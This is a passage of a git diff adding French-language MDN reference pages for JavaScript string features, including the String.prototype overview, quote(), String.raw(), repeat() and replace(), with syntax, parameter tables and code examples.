+ <dd>Retire les blancs situés à la fin de la chaîne.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Renvoie la valeur primitive de l'objet spécifié. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()","String.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Iterator</code> qui permet d'itérer sur les codets de la chaîne, chaque codet étant renvoyé comme une chaîne.</dd>
+</dl>
+
+<h3 id="Méthodes_de_transformation_HTML">Méthodes de transformation HTML</h3>
+
+<p>Ces méthodes ont une utilisation limitée, étant donné qu'elles ne fournissent qu'un petit sous-ensemble des balises et attributs HTML existants.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("name", "a", "&lt;a name=\"name\"&gt;")}} (cible hypertexte)</dd>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"url\"&gt;")}} (lien vers une URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/quote/index.html b/files/fr/web/javascript/reference/objets_globaux/string/quote/index.html
new file mode 100644
index 0000000000..181ae613fc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/quote/index.html
@@ -0,0 +1,72 @@
+---
+title: String.prototype.quote()
+slug: Web/JavaScript/Reference/Objets_globaux/String/quote
+tags:
+  - JavaScript
+  - Méthode
+  - Obsolete
+  - Prototype
+  - Reference
+  - String
+translation_of: Archive/Web/JavaScript/String.quote
+---
+<div>{{obsolete_header("37")}}{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La méthode <code><strong>quote()</strong></code> est une méthode non-standard qui permet de renvoyer une copie de la chaîne de caractères en remplaçant les différents caractères spéciaux de la chaîne par leur séquence d'échappement et en encadrant le résultat avec des doubles quotes (<code>"</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.quote()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères représentant la chaîne appelante, encadrée entre doubles quotes et pour laquelle les caractères spéciaux ont été échappés.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le tableau suivant illustre comment la méthode <code>quote</code> remplace les différents caractères spéciaux et encadre la chaîne résultante entre doubles quotes. La troisième colonne illustre comment la méthode <code>eval</code> évalue les séquences d'échappement à nouveau.</p>
+
+<table class="fullwidth-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col"><code>str</code></th>
+   <th class="header" scope="col"><code>str.quote()</code></th>
+   <th class="header" scope="col"><code>eval(str.quote())</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Coucou monde</code> !</td>
+   <td><code>"Coucou monde !"</code></td>
+   <td><code>Coucou monde !</code></td>
+  </tr>
+  <tr>
+   <td><code>Coucou<br>
+            monde !</code></td>
+   <td><code>"Coucou\n\tmonde !"</code></td>
+   <td><code>Coucou<br>
+            monde !</code></td>
+  </tr>
+  <tr>
+   <td><code>" \ — '</code></td>
+   <td><code>"\" \\ \u2014 '"</code></td>
+   <td><code>" \ — '</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Aucune. Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.quote")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/raw/index.html b/files/fr/web/javascript/reference/objets_globaux/string/raw/index.html
new file mode 100644
index 0000000000..f509b557ce
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/raw/index.html
@@ -0,0 +1,116 @@
+---
+title: String.raw()
+slug: Web/JavaScript/Reference/Objets_globaux/String/raw
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/raw
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>String.raw()</strong></code> est une fonction d'étiquetage (<em>tag function</em>) pour les <a href="/fr/docs/Web/JavaScript/Reference/Littéraux_gabarits#Les_gabarits_étiquetés">gabarits de chaînes de caractères</a> (elle est <a href="https://bugs.chromium.org/p/v8/issues/detail?id=5016">semblable</a> au préfixe <code>r</code> en Python ou au préfixe <code>@</code> en C#). Cette fonction permet d'obtenir la chaîne brute pour un gabarit (les caractères spéciaux ne sont pas pris en compte mais retranscrits tels quels, les séquences d'échappement ne sont pas interprétées et les emplacements (ex. <code>${toto}</code>) sont traités).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-raw.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">String.raw(callSite, <em>...substitutions</em>)
+
+String.raw`gabaritChaîne`
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callSite</code></dt>
+ <dd>Un site d'appel bien formé pour un gabarit (<em>call site object</em>) tel que <code>{raw: "string"}</code>.</dd>
+ <dt>...substitutions</dt>
+ <dd>Paramètre contenant les valeurs à substituer.</dd>
+ <dt>gabaritChaîne</dt>
+ <dd><a href="/fr/docs/Web/JavaScript/Reference/Gabarit_chaînes_caractères">Un gabarit de chaîne de caractères</a>, éventuellement avec des substitutions (<code>${...}</code>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La chaîne de caractères brute correspondant à un gabarit donné.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Une exception <code>TypeError</code> est renvoyée si le premier argument n'est pas un objet bien formé.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Dans la plupart des cas, <code>String.raw()</code> est utilisé avec des gabarits de chaînes de caractères. La première syntaxe, présentée ci-avant est rarement utilisée. En effet, le moteur JavaScript appellera cette forme avec les arguments appropriés, comme pour les <a href="/fr/docs/Web/JavaScript/Reference/Gabarit_chaînes_caractères#Les_gabarits_de_cha.C3.AEnes_.C3.A9tiquett.C3.A9s">fonctions d'étiquetage (<em>tag</em>)</a>.</p>
+
+<p>La méthode <code>String.raw()</code> est la seule méthode d'étiquetage native pour les chaînes de caractères. Elle fonctionne comme la fonction par défaut pour les gabarits et permet d'effectuer des concaténations. Il est également possible d'implémenter cette méthode avec du code JavaScript.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">String.raw`Hi\n${2+3}!`;
+// "Hi\n5!", le caractère après "Hi" n'est pas
+// le caractère de nouvelle ligne
+// "\" et "n" sont bien deux caractères distincts
+// ici.
+
+String.raw`Hi\u000A!`;
+// "Hi\u000A!", de même ici. Les caractères
+//  \, u, 0, 0, 0, A et 6 sont distincts.
+// Tous les caractères d'échappement seront
+// inefficaces. Des backslashes peuvent donc être
+// présents dans la chaîne produite. Cela peut
+// être vérifié avec la propriété .length de la
+// chaîne.
+
+let nom = "Bob";
+String.raw`Hi\n${nom}!`;
+// "Hi\nBob!", les remplacements sont effectués.
+
+// Généralement, on n'appelle pas String.raw
+// comme une fonction, mais c'est possible :
+String.raw({raw: "test"}, 0, 1, 2);
+// "t0e1s2t"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.raw")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Gabarit_chaînes_caractères">Gabarits de chaînes de caractères</a></li>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale">Grammaire lexicale JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html
new file mode 100644
index 0000000000..3245288bd9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html
@@ -0,0 +1,87 @@
+---
+title: String.prototype.repeat()
+slug: Web/JavaScript/Reference/Objets_globaux/String/repeat
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>repeat()</strong></code> construit et renvoie une nouvelle chaine de caractères qui contient le nombre de copie demandée de la chaine de caractères sur laquelle la méthode a été appelée, concaténées les unes aux autres.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-repeat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.repeat(<var>compte</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>compte</code></dt>
+ <dd>Un nombre entier entre 0 and +∞ : [ 0, +∞[, indiquant le nombre de fois que la chaine de caractères doit être repétée dans la nouvelle chaine de caractères.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères composée du nombre indiqué de copies de la chaîne appelante.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{jsxref("Erreurs/Negative_repetition_count", "RangeError")}} : le nombre de répétition doit être positif.</li>
+ <li>{{jsxref("Erreurs/Resulting_string_too_large", "RangeError")}} : le nombre de répétition ne doit pas être infini et la taille de la chaîne résultante ne doit pas dépasser la taille maximale pour une chaîne de caractères.</li>
+</ul>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>La compteur doit être positif et inférieur à l'infini.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">"abc".repeat(-1)     // RangeError
+"abc".repeat(0)      // ""
+"abc".repeat(1)      // "abc"
+"abc".repeat(2)      // "abcabc"
+"abc".repeat(3.5)    // "abcabcabc" (le compteur est converti en un nombre entier)
+"abc".repeat(1/0)    // RangeError
+
+({toString : () =&gt; "abc", repeat : String.prototype.repeat}).repeat(2)
+// "abcabc" (repeat() est une méthode générique)</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Première définition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.repeat")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/replace/index.html b/files/fr/web/javascript/reference/objets_globaux/string/replace/index.html
new file mode 100644
index 0000000000..8d4f5d44a5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/replace/index.html
@@ -0,0 +1,309 @@
+---
+title: String.prototype.replace()
+slug: Web/JavaScript/Reference/Objets_globaux/String/replace
+tags:
+  - Chaîne
+  - Expression
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - Régulière
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replace
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>replace()</strong></code> renvoie une nouvelle chaîne de caractères dans laquelle tout ou partie des correspondances à un <code>modèle</code> sont remplacées par un <code>remplacement</code>. Le <code>modèle</code> utilisé peut être une {{jsxref("RegExp")}} et le remplacement peut être une chaîne ou une fonction à appeler pour chaque correspondance. Si <code>modèle</code> est une chaîne de caractères, seule la première correspondance sera remplacée.</p>
+
+<p>La chaîne de caractère originale reste inchangée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-replace.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>chn</var>.replace(<var>regexp</var>|<var>souschn</var>, nouv<var>Souschn</var>|<var>fonction</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>regexp</code> (modèle)</dt>
+ <dd>Un objet ou un littéral {{jsxref("RegExp")}}. La ou les correspondances sont remplacées  par <code>nouvSouschn</code> ou par la valeur retournée par la <code>fonction</code> indiquée.</dd>
+ <dt><code>souschn</code> (modèle)</dt>
+ <dd>Une {{jsxref("String")}} qui est à remplacer par <code>nouvSouschn</code>. Elle est traitée comme une chaîne de caractères verbatim et elle n'est <em>pas</em> interprétée comme une expression régulière. Seule la première occurrence sera remplacée.</dd>
+ <dt><code>nouvSouschn</code> (remplacement)</dt>
+ <dd>La {{jsxref("String")}} qui remplace la chaîne de caractères indiquée par le paramètre <code>regexp</code> ou <code>souschn</code>. Un certain nombre de modèles de remplacement spéciaux sont supportés ; voir la section "<a href="#Indiquer_une_chaîne_de_caractère_comme_paramètre">Indiquer une chaîne de caractères comme paramètre</a>" ci-dessous.</dd>
+ <dt><code>fonction</code> (remplacement)</dt>
+ <dd>Une fonction à appeler pour créer la nouvelle sous-chaîne de caractères à utiliser pour remplacer la <code>regexp</code> ou la <code>souschn</code> donnée. Les arguments passés à cette fonction sont décrits dans la section "<a href="#Indiquer_une_fonction_comme_paramètre">Indiquer une fonction comme paramètre</a>" ci-dessous.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une nouvelle chaîne de caractères avec tout ou partie des correspondances du modèle remplacées par un remplacement.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode ne change pas l'objet {{jsxref("String")}} auquel elle est appliquée. Elle retourne simplement une nouvelle chaîne de caractères.</p>
+
+<p>Pour réaliser une recherche et remplacement global(e), incluez le commutateur <code>g</code> dans l'expression régulière.</p>
+
+<h3 id="Indiquer_une_chaîne_de_caractère_comme_paramètre">Indiquer une chaîne de caractère comme paramètre</h3>
+
+<p>La chaîne de caractère de remplacement peut inclure les modèles de remplacement spéciaux suivants :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Modèle</td>
+   <td class="header">Insère</td>
+  </tr>
+  <tr>
+   <td><code>$$</code></td>
+   <td>Insère un "$".</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>Insère la chaine de caractère en correspondance.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>Insère la partie de la chaîne de caractère qui précède la sous-chaîne en correspondance.</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>Insère la partie de la chaîne de caractère qui suit la sous-chaîne en correspondance.</td>
+  </tr>
+  <tr>
+   <td><code>$<em>n</em></code></td>
+   <td>
+    <p>Où <code><em>n</em></code> est un entier positif inférieur à 100. Insère la <em>n</em> ième chaîne de sous-correspondance entre parenthèses, à condition que le premier argument ait été un objet {{jsxref("RegExp")}}. Notez que ceci est réalisé en indices base 1.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Indiquer_une_fonction_comme_paramètre">Indiquer une fonction comme paramètre</h3>
+
+<p>Vous pouvez indiquer une fonction comme second paramètre. Dans ce cas, cette fonction sera appelée après que la recherche a été effectuée. Le résultat de la fonction (valeur retournée) sera utilisé comme chaîne de remplacement. (Note : les modèles de remplacement spéciaux mentionnés ci-dessus ne s'appliquent <em>pas</em> dans ce cas). Notez que cette fonction sera appelée plusieurs fois, pour chaque correspondance complète à remplacer si l'expression régulière dans le premier paramètre est globale.</p>
+
+<p>Les arguments de cette fonction sont les suivants :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Nom possible</td>
+   <td class="header">Valeur fournie</td>
+  </tr>
+  <tr>
+   <td><code>correspondance</code></td>
+   <td>La chaîne de caractère en correspondance. (Correspond au <code>$&amp;</code> défini ci-dessus.)</td>
+  </tr>
+  <tr>
+   <td><code>p1, p2, ...</code></td>
+   <td>
+    <p>La <em>n</em>-ième chaîne de sous-correspondance entre parenthèses capturantes, à condition que le premier argument de <code>replace()</code> soit un objet <code>RegExp</code>. (Correspond aux <code>$1</code>, <code>$2</code>, etc. ci-dessus.) Par exemple, si <code>/(\a+)(\b+)/</code> a été indiqué, <code>p1</code> correspond à <code>\a+</code>, et <code>p2</code> à <code>\b+</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>decalage</code></td>
+   <td>Le décalage entre la sous-chaîne en correspondance à l'intérieur de la chaîne complète en cours d'analyse. (Par exemple, si la chaîne complète était <code>'abcd'</code>, et que le chaîne en correspondance était <code>'bc'</code>, alors cet argument vaudra 1.)</td>
+  </tr>
+  <tr>
+   <td><code>chaine</code></td>
+   <td>La chaîne complète en cours d'analyse.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>(Le nombre exact d'arguments varie suivant que le premier paramètre est ou non un objet {{jsxref("RegExp")}} et, dans ce cas, du nombre de sous-correspondances entre parenthèses qu'il indique.)</p>
+
+<p>L'exemple suivant affectera <code>'abc - 12345 - #$*%'</code> à la variable <code>nouvelleChaine</code> :</p>
+
+<pre class="brush: js">function remplaceur(correspondance, p1, p2, p3, decalage, chaine) {
+  // p1 est non numérique, p2 numérique, et p3 non-alphanumérique
+  return [p1, p2, p3].join(' - ');
+}
+var nouvelleChaine = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, remplaceur);
+console.log(nouvelleChaine); // abc - 12345 - #$*%
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définition_de_lexpression_régulière_dans_replace">Définition de l'expression régulière dans <code>replace()</code></h3>
+
+<p>Dans l'exemple suivant, l'expression régulière est définie dans <code>replace()</code> et inclut l'indicateur d'indifférence à la casse.</p>
+
+<pre class="brush: js">var chn = 'Twas the night before Xmas...';
+var nouvChn = chn.replace(/xmas/i, 'Christmas');
+console.log(nouvChn); // Twas the night before Christmas...</pre>
+
+<p>Cela affiche 'Twas the night before Christmas...'.</p>
+
+<div class="blockIndicator note">
+<p>Note : Voir <a href="/fr/docs/Web/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res">ce guide</a> pour plus d'explications concernant les expressions régulières.</p>
+</div>
+
+<h3 id="Utilisation_de_global_et_ignore_avec_replace">Utilisation de <code>global</code> et <code>ignore</code> avec <code>replace()</code></h3>
+
+<p>Le remplacement global ne peut être fait qu'avec une expression régulière. Dans l'exemple suivant, l'expression régulière inclut les indicateurs global et indifférence à la casse, qui permettent à <code>replace()</code> de remplacer chaque occurrence de 'pommes' dans la chaîne par 'oranges'.</p>
+
+<pre class="brush: js">var re = /pommes/gi;
+var chn = 'Les pommes sont rondes, et les pommes sont juteuses.';
+var nouvChn = chn.replace(re, 'oranges');
+console.log(nouvChn); // Les oranges sont rondes, et les oranges sont juteuses.
+</pre>
+
+<p>Cela affiche 'Les oranges sont rondes, et les oranges sont juteuses.'.</p>
+
+<h3 id="Inverser_des_mots_dans_une_chaîne_de_caractères">Inverser des mots dans une chaîne de caractères</h3>
+
+<p>Le script suivant intervertit les mots dans la chaîne de caractères. Pour le texte de remplacement, le script utilise les modèles de remplacement <code>$1</code> et <code>$2</code>.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var chn = 'Jean Martin';
+var nouvChn = chn.replace(re, "$2, $1");
+console.log(nouvChn); // Martin, Jean
+</pre>
+
+<p>Cela affiche 'Martin, Jean'.</p>
+
+<h3 id="Utilisation_dune_fonction_inline_modifiant_les_caractères_en_correspondance">Utilisation d'une fonction inline modifiant les caractères en correspondance</h3>
+
+<p>Dans cet exemple, toutes les occurrences des lettres majuscules sont converties en minuscules, et un tiret est inséré juste avant l'emplacement de la correspondance. La chose importante ici est que des opérations suppémentaires sont nécessaires sur l'élément en correspondance avant qu'il ne soit retourné comme remplacement.</p>
+
+<p>La fonction de remplacement accepte le fragment en correspondance comme paramètre, et elle l'utilise pour transformer sa casse et y concaténer le tiret avant de le retourner.</p>
+
+<pre class="brush: js">function styleFormatTiret(nomPropriete) {
+  function majusculesEnTiretMinuscules(correspondance, decalage, chaine) {
+    return (decalage &gt; 0 ? '-' : '') + correspondance.toLowerCase();
+  }
+  return nomPropriete.replace(/[A-Z]/g, majusculesEnTiretMinuscules);
+}
+</pre>
+
+<p>Avec <code>styleFormatTiret(</code><code>'borderTop')</code>, cela renvoie 'border-top'.</p>
+
+<p>Du fait que nous voulons transformer davantage le résultat de la correspondance avant la substitution finale, nous devons utiliser une fonction. Cela force l'évaluation de la correspondance avant la méthode {{jsxref ("String.prototype.toLowerCase()", "toLowerCase()")}}. Si nous avions essayé de le faire en utilisant la correspondance sans fonction, le {{jsxref ("String.prototype.toLowerCase()", "toLowerCase()")}} n'aurait eu aucun effet.</p>
+
+<pre class="brush: js">var nouvChn = nomPropriete.replace(/[A-Z]/g, '-' + '$&amp;'.toLowerCase()); // ne fonctionne pas
+</pre>
+
+<p>Ceci est dû au fait que <code>'$&amp;'.toLowerCase()</code> serait d'abord évalué comme un littéral de chaîne (résultant en le même <code>'$&amp;'</code>) avant d'utiliser les caractères comme modèle.</p>
+
+<h3 id="Remplacer_un_degré_Fahrenheit_par_son_équivalent_Celsius">Remplacer un degré Fahrenheit par son équivalent Celsius</h3>
+
+<p>L'exemple suivant remplace des degrés Fahrenheit par leur équivalent en degrés Celsius. Les degrés Fahrenheit doivent être un nombre se terminant par F. La fonction renvoie le nombre en Celsius se terminant par C. Par exemple, si le nombre de départ est 212F, la fonction renvoie 100C. Si le nombre de départ est 0F, la fonction retourne -17.77777777777778C.</p>
+
+<p>L'expression régulière <code>test</code> vérifie tout nombre se terminant par F. Le nombre de degrés Fahrenheit est accessible à la fonction via son deuxième paramètre, <code>p1</code>. La fonction définit le nombre Celsius sur la base des degrés Fahrenheit transmis dans une chaîne à la fonction <code>f2c()</code>. <code>f2c()</code> renvoie ensuite le nombre Celsius. Cette fonction se rapproche de l'indicateur <code>s///e</code> de Perl.</p>
+
+<pre class="brush: js">function f2c(x) {
+  function convertir(chn, p1, decalage, s) {
+    return ((p1-32) * 5/9) + 'C';
+  }
+  var s = String(x);
+  var test = /(-?\d+(?:\.\d*)?)F\b/g;
+  return s.replace(test, convertir);
+}
+</pre>
+
+<h3 id="Utiliser_une_fonction_inline_avec_une_expression_régulière_pour_éviter_des_boucles_for">Utiliser une fonction inline avec une expression régulière pour éviter des boucles <code>for</code></h3>
+
+<p>L'exemple suivant accepte un modèle chaîne et le convertit en un tableau d'objets.</p>
+
+<p><strong>Entrée : </strong></p>
+
+<p>Une chaîne de caractères composée des caractères <code>x</code>, <code>-</code> et <code>_</code></p>
+
+<pre class="brush: js">x-x_
+x---x---x---x---
+x-xxx-xx-x-
+x_x_x___x___x___</pre>
+
+<div><strong>Sortie :</strong></div>
+
+<div></div>
+
+<div>Un tableau d'objets. Un <code>'x'</code> dénote un état <code>'marche'</code>, un <code>'-'</code> symbolise un état '<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">arret</span></font>' et un  <code>'_'</code> (blanc souligné) symbolise la longueur d'un état <code>'<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">marche</span></font>'</code>.</div>
+
+<div></div>
+
+<pre class="brush: json">[
+  { marche: true, longueur: 1 },
+  { marche: false, longueur: 1 },
+  { marche: true, longueur: 2 }
+  ...
+]</pre>
+
+<div><strong>Fragment :</strong></div>
+
+<div></div>
+
+<div>
+<pre class="brush: js">var chn = 'x-x_';
+var tabRet = [];
+chn.replace(/(x_*)|(-)/g, function(correspondance, $1, $2){
+  if($1) tabRet.push({ marche: true, longueur: $1.length });
+  if($2) tabRet.push({ marche: false, longueur: 1 });
+});
+
+console.log(tabRet);</pre>
+</div>
+
+<div>Ce fragment génère un tableau de 3 objets au format désiré sans utiliser de boucle <code>for</code>.</div>
+
